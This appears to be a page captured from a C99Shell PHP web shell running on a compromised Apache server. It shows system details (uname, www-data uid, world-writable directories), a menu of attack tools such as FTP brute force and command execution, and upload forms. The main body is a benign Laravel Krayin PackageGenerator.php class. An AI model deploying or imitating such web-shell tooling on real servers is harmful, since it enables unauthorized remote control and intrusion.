!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/krayin/krayin-package-generator/src/Generators/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PackageGenerator.php (8.31 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\PackageGenerator\Generators;

use 
Illuminate\Config\Repository as Config;
use 
Illuminate\Filesystem\Filesystem;
use 
Webkul\PackageGenerator\Package;

class 
PackageGenerator
{
    
/**
     * The package vendor namespace.
     *
     * @var string
     */
    
protected $vendorNamespace;

    
/**
     * The package name.
     *
     * @var string
     */
    
protected $packageName;

    
/**
     * The plain agument.
     *
     * @var bool
     */
    
protected $plain;

    
/**
     * The argument that make force the overrides.
     *
     * @var bool
     */
    
protected $force;

    
/**
     * Define the type of package.
     *
     * @var string
     */
    
protected $type 'package';

    
/**
     * Contains console instance
     *
     * @var \Illuminate\Console\Command
     */
    
protected $console;

    
/**
     * Contains generator instance
     *
     * @var \Webkul\PackageGenerator\Console\Command
     */
    
protected $generator;

    
/**
     * Contains subs files information
     *
     * @var array
     */
    
protected $stubFiles = [
        
'package'  => [
            
'views/components/layouts/style'             => 'Resources/views/components/layouts/style.blade.php',
            
'views/index'                                => 'Resources/views/index.blade.php',
            
'scaffold/menu'                              => 'Config/menu.php',
            
'scaffold/acl'                               => 'Config/acl.php',
            
'assets/js/app'                              => 'Resources/assets/js/app.js',
            
'assets/css/app'                             => 'Resources/assets/css/app.css',
            
'assets/images/Icon-Temp'                    => 'Resources/assets/images/Icon-Temp.svg',
            
'assets/images/Icon-Temp-Active'             => 'Resources/assets/images/Icon-Temp-Active.svg',
            
'package'                                    => '../package.json',
            
'vite'                                       => '../vite.config.js',
            
'tailwind'                                   => '../tailwind.config.js',
            
'postcss'                                    => '../postcss.config.js',
            
'.gitignore'                                 => '../.gitignore',
            
'composer'                                   => '../composer.json',
        ],
    ];

    
/**
     * Contains package file paths for creation
     *
     * @var array
     */
    
protected $paths = [
        
'package'  => [
            
'config'     => 'Config',
            
'command'    => 'Console/Commands',
            
'migration'  => 'Database/Migrations',
            
'seeder'     => 'Database/Seeders',
            
'contracts'  => 'Contracts',
            
'model'      => 'Models',
            
'routes'     => 'Http',
            
'controller' => 'Http/Controllers',
            
'filter'     => 'Http/Middleware',
            
'request'    => 'Http/Requests',
            
'provider'   => 'Providers',
            
'repository' => 'Repositories',
            
'event'      => 'Events',
            
'listener'   => 'Listeners',
            
'emails'     => 'Mail',
            
'assets'     => 'Resources/assets',
            
'lang'       => 'Resources/lang',
            
'views'      => 'Resources/views',
        ],
    ];

    
/**
     * Create a new generator instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
Config $config,
        protected 
Filesystem $filesystem,
        protected 
Package $package
    
) {}

    
/**
     * Set generator
     */
    
public function setPackageGenerator(mixed $generator): self
    
{
        
$this->generator $generator;

        return 
$this;
    }

    
/**
     * Set console
     */
    
public function setConsole(mixed $console): self
    
{
        
$this->console $console;

        return 
$this;
    }

    
/**
     * Set package.
     */
    
public function setPackage(mixed $packageName): self
    
{
        
$this->packageName $packageName;

        return 
$this;
    }

    
/**
     * Set package plain.
     */
    
public function setPlain(mixed $plain): self
    
{
        
$this->plain $plain;

        return 
$this;
    }

    
/**
     * Set force status.
     */
    
public function setForce(mixed $force): self
    
{
        
$this->force $force;

        return 
$this;
    }

    
/**
     * Set type status.
     */
    
public function setType(string $type): self
    
{
        
$this->type $type;

        return 
$this;
    }

    
/**
     * Generate package
     */
    
public function generate(): void
    
{
        if (
$this->package->has($this->packageName)) {
            if (
$this->force) {
                
$this->package->delete($this->packageName);
            } else {
                
$this->console->error(sprintf('Package %s already exist !'$this->packageName));

                return;
            }
        }

        
$this->createFolders();

        if (! 
$this->plain) {
            
$this->createFiles();

            
$this->createClasses();
        }

        
$this->console->info(sprintf('Package %s created successfully.'$this->packageName));
    }

    
/**
     * Generate package folders
     */
    
public function createFolders(): void
    
{
        foreach (
$this->paths[$this->type] as $key => $folder) {
            
$path base_path('packages/'.$this->packageName.'/src').'/'.$folder;

            
$this->filesystem->makeDirectory($path0755true);
        }
    }

    
/**
     * Generate package files
     */
    
public function createFiles(): void
    
{
        
$variables $this->getStubVariables();

        foreach (
$this->stubFiles[$this->type] as $stub => $file) {
            
$path base_path('packages/'.$this->packageName.'/src').'/'.$file;

            if (! 
$this->filesystem->isDirectory($dir dirname($path))) {
                
$this->filesystem->makeDirectory($dir0775true);
            }

            
$this->filesystem->put($path$this->getStubContents($stub$variables));

            
$this->console->info("Created file : {$path}");
        }
    }

    
/**
     * Generate package classes
     */
    
public function createClasses(): void
    
{
        if (
$this->type == 'package') {
            
$this->generator->call('package:make-provider', [
                
'name'    => $this->packageName.'ServiceProvider',
                
'package' => $this->packageName,
            ]);

            
$this->generator->call('package:make-module-provider', [
                
'name'    => 'ModuleServiceProvider',
                
'package' => $this->packageName,
            ]);

            
$this->generator->call('package:make-controller', [
                
'name'    => $this->packageName.'Controller',
                
'package' => $this->packageName,
            ]);

            
$this->generator->call('package:make-route', [
                
'package' => $this->packageName,
            ]);
        }
    }

    
/**
     * Get the variables for the stub file.
     */
    
protected function getStubVariables(): array
    {
        return [
            
'LOWER_NAME'      => $this->getLowerName(),
            
'CAPITALIZE_NAME' => $this->getCapitalizeName(),
            
'PACKAGE'         => $this->getClassNamespace($this->packageName),
            
'CLASS'           => $this->getClassName(),
        ];
    }

    
/**
     * Get the class name of the package.
     */
    
protected function getClassName(): string
    
{
        return 
class_basename($this->packageName);
    }

    
/**
     * Get the class namespace of the package.
     */
    
protected function getClassNamespace($name): array|string
    
{
        return 
str_replace('/''\\'$name);
    }

    
/**
     * Returns content of stub file
     */
    
public function getStubContents(string $stub, array $variables = []): mixed
    
{
        
$path __DIR__.'/../stubs/'.$stub.'.stub';

        
$contents file_get_contents($path);

        foreach (
$variables as $search => $replace) {
            
$contents str_replace('$'.strtoupper($search).'$'$replace$contents);
        }

        return 
$contents;
    }

    
/**
     * Get the capitalize name of the package.
     */
    
protected function getCapitalizeName(): string
    
{
        return 
ucwords(class_basename($this->packageName));
    }

    
/**
     * Get the lower name of the package.
     */
    
protected function getLowerName(): string
    
{
        return 
strtolower(class_basename($this->packageName));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--